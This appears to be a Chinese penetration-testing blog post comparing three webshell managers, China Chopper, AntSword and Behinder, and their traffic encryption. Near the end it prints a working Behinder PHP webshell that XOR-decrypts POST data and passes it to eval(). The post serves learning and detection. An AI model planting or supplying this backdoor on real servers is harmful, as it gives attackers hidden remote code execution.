今天继续给大家介绍渗透测试相关知识,本文主要内容是菜刀、蚁剑以及冰蝎三款Webshell管理工具简介。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
一、三款webshell管理工具简单对比
当前,在渗透测试时常用的webshell管理工具又菜刀、蚁剑和冰蝎。者三款webshell管理工具特点如下所示:
1、菜刀
菜刀属于比较原始的插件,功能比较单一,使用比较简单,目前没有提供插件,也不支持扩展,目前也已经停止更新,传输方式是单项加密传输。此外,菜刀的问题在于只能够处理eval()函数,而无法处理assert()等函数。
2、蚁剑
蚁剑是一款还处于更新状态的工具,存在插件仓库,扩展性强,采取的数据传输方式是单向加密传输。蚁剑与菜刀相比支持编码和解码功能。
3、冰蝎
冰蝎目前也处于更新状态,但是不支持插件,采取的数据传输方式是双向加密传输,可以联动MSF。冰蝎相对而言偏向于后渗透阶段。
二、菜刀数据包解析
使用菜刀连接PHP webshell的通信数据包如下所示:
从上图可以看出,菜刀的数据包是不加密的。
三、蚁剑数据包解析
使用蚁剑连接PHP webshell的通信数据包如下所示:
从上图可以看出,蚁剑对payload进行加密的逻辑是,将payload进行加密后,转化为一个参数的值,然后控制接收该参数并进行解密。
四、冰蝎数据包解析
使用冰蝎连接default_xor_base64类型的PHP webshell的通信数据包如下所示:
从上图可以看出,冰蝎的数据包是加密的。
冰蝎生成的PHP木马如下所示:
<?php
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
?>
在上述代码中,file_get_contents(“php://input”)可以接收客户端以POST的方式上传的参数,上传的结果会作为Decrypt参数的输入。
Decrypt函数的作用是对原始数据先进行Base64解密,然后再进行流解密,最后把数据处理的结果输出,实际上就是一个数据解密过程。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200